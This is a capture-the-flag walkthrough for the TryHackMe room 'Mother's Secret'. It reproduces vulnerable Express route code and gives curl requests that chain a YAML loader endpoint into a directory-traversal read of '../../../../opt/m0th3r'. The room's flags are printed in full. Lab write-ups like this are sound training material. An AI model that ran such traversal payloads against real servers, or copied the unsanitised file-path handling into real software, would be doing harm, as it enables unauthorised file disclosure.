MOTHER'S SECRET
https://tryhackme.com/room/codeanalysis

Walkthrough for Mother's Secret
Web application
100375 > keyword
"/api/nostromo/mother/secret.txt" > known path
Enumeration
To start, a lot of important information is given at the beginning of the box:
There is a web client running on port 80
A router file called
routes.txt
is providedEmergency command override is 100375 - used when accessing Alien Loaders - could be for api call
Routes must be hit in the right order to escalate privilege
Path of secret.txt is
/api/nostromo/mother/secret.txt

The website shows a text box providing additional information:
Alien Loader: This is a YAML loader function, the function parses and loads YAML data and can reveal hidden paths > this can most likely be one of the paths from the
routes.txt
filePathways: Nostromo endpoint most likely has a path traversal vulnerability that can be found by giving relative paths within the mother folder > this can also be referenced in the
routes.txt
file
API ROUTES
------------------------------------------
yaml.js
------------------------------------------
import express from "express";
import yaml from "js-yaml";
import fs from "fs";
import { attachWebSocket } from "../websocket.js";
const Router = express.Router();
const isYaml = (filename) => filename.split(".").pop() === "yaml";
Router.post("/", (req, res) => {
let file_path = req.body.file_path;
const filePath = `./public/${file_path}`;
if (!isYaml(filePath)) {
res.status(500).json({
status: "error",
message: "Not a YAML file path.",
});
return;
}
fs.readFile(filePath, "utf8", (err, data) => {
if (err) {
res.status(500).json({
status: "error",
message: "Failed to read the file.",
});
return;
}
res.status(200).send(yaml.load(data));
attachWebSocket().of("/yaml").emit("yaml", "YAML data has been processed.");
});
});
export default Router;
------------------------------------------
Nostromo.js
------------------------------------------
import express from "express";
import fs from "fs";
// import { attachWebSocket } from "../../mothers_secret_challenge/websocket.js";
import { attachWebSocket } from "../websocket.js";
import { isYamlAuthenticate } from "./yaml.js";
let isNostromoAuthenticate = false;
const Router = express.Router();
Router.post("/nostromo", (req, res) => {
let file_path = req.body.file_path;
const filePath = `./public/${file_path}`;
fs.readFile(filePath, "utf8", (err, data) => {
if (err) {
res.status(500).json({
status: "error",
message: "Science Officer Eyes Only",
});
return;
}
isNostromoAuthenticate = true
res.status(200).send(data);
attachWebSocket()
.of("/nostromo")
.emit("nostromo", "Nostromo data has been processed.");
});
});
Router.post("/nostromo/mother", (req, res) => {
let file_path = req.body.file_path;
const filePath = `./mother/${file_path}`;
if(!isNostromoAuthenticate || !isYamlAuthenticate){
res.status(500).json({
status: "Authentication failed",
message: "Kindly visit nostromo & yaml route first.",
});
return
}
fs.readFile(filePath, "utf8", (err, data) => {
if (err) {
res.status(500).json({
status: "error",
message: "Science Officer Eyes Only",
});
return;
}
res.status(200).send(data);
// attachWebSocket()
// .of("/nostromo")
// .emit("nostromo", "Nostromo data has been processed.");
});
});
export default Router;
------------------------------------------
The provided file routes.txt
provides three endpoints of interest:
POST "/" with body element "file_path"
Requires a valid "file_path" that ends in "yaml"
The "file_path" must exist in the
./public/...
pathIf either fails, a 500 response will be sent with an error
Success message will be sent to path "/yaml"
POST "/nostromo" with body element "file_path"
Requires a valid "file_path" that exists in the
./public/...
pathSuccess message sent to "/nostromo"
POST "/nostromo/mother" with body element "file_path"
Requires that both endpoints above were reached successfully
Requires a valid "file_path" for readFile function
Success message sent to "/nostromo"
Exploitation
Since there are routes given in the javascript file above, some attempts can be made to reach them. At first, the response was a consistent {"status":"You just hit the wrong route."}
.
First attempt failed >
curl -X POST http://$IP/ -d '{"file_path":"test.yaml"}'
Second attempt to specify "/yaml" path >
curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"test.yaml"}'
> Returned{"status":"error","message":"Failed to read the file."}
At this point, the correct route was found to reach out to the loader. The next step involved finding a valid path and crafting a valid packet. One important step is making sure that the payload content is correctly identified so that the receiver knows what exactly is reading. Since the payload involves a key-value pair, it makes sense to encode it as json therefore including the header Content-Type: application/json
. Once this is done, it's time to fuzz or guess a possible file path. Although one of their instructions gave it away, I didn't make the connection, so I brute forced it, but for simplicity, the simple thing was to utilize the "override" 100375.
The following command ending up returning some interesting information:
curl -X POST http://$IP/yaml -H "Content-Type: application/json" -d '{"file_path":"100375.yaml"}'
FOR SCIENCE OFFICER EYES ONLY special SECRETS: REROUTING TO: api/nostromo ORDER: 0rd3r937.txt [****] UNABLE TO CLARIFY. NO FURTHER ENHANCEMENT.
The file "0rd3r937.txt" was revealed so let's try reading that through the nostromo endpoint:
Command: curl -X POST http://$IP/api/nostromo -H "Content-Type: application/json" -d '{"file_path":"0rd3r937.txt"}'

This also reveals the flag for nostromo and enables the "/nostromo/mother" endpoint!
Nostromo Flag: Flag{X3n0M0Rph}
Since this will turn on the isNostromoAuthenticate flag, the "mother" endpoint can likely be reached now. The following request shows the location of secret information.
Command: curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"secret.txt"}'
Secret: /opt/m0th3r
Following the same techniques as first, directory traversal works at being able to read files outside of the current directory!
Command: curl -X POST http://$IP/api/nostromo/mother -H "Content-Type: application/json" -d '{"file_path":"../../../../opt/m0th3r"}'
Secrert Flag: Flag{Ensure_return_of_organism_meow_meow!}
Last updated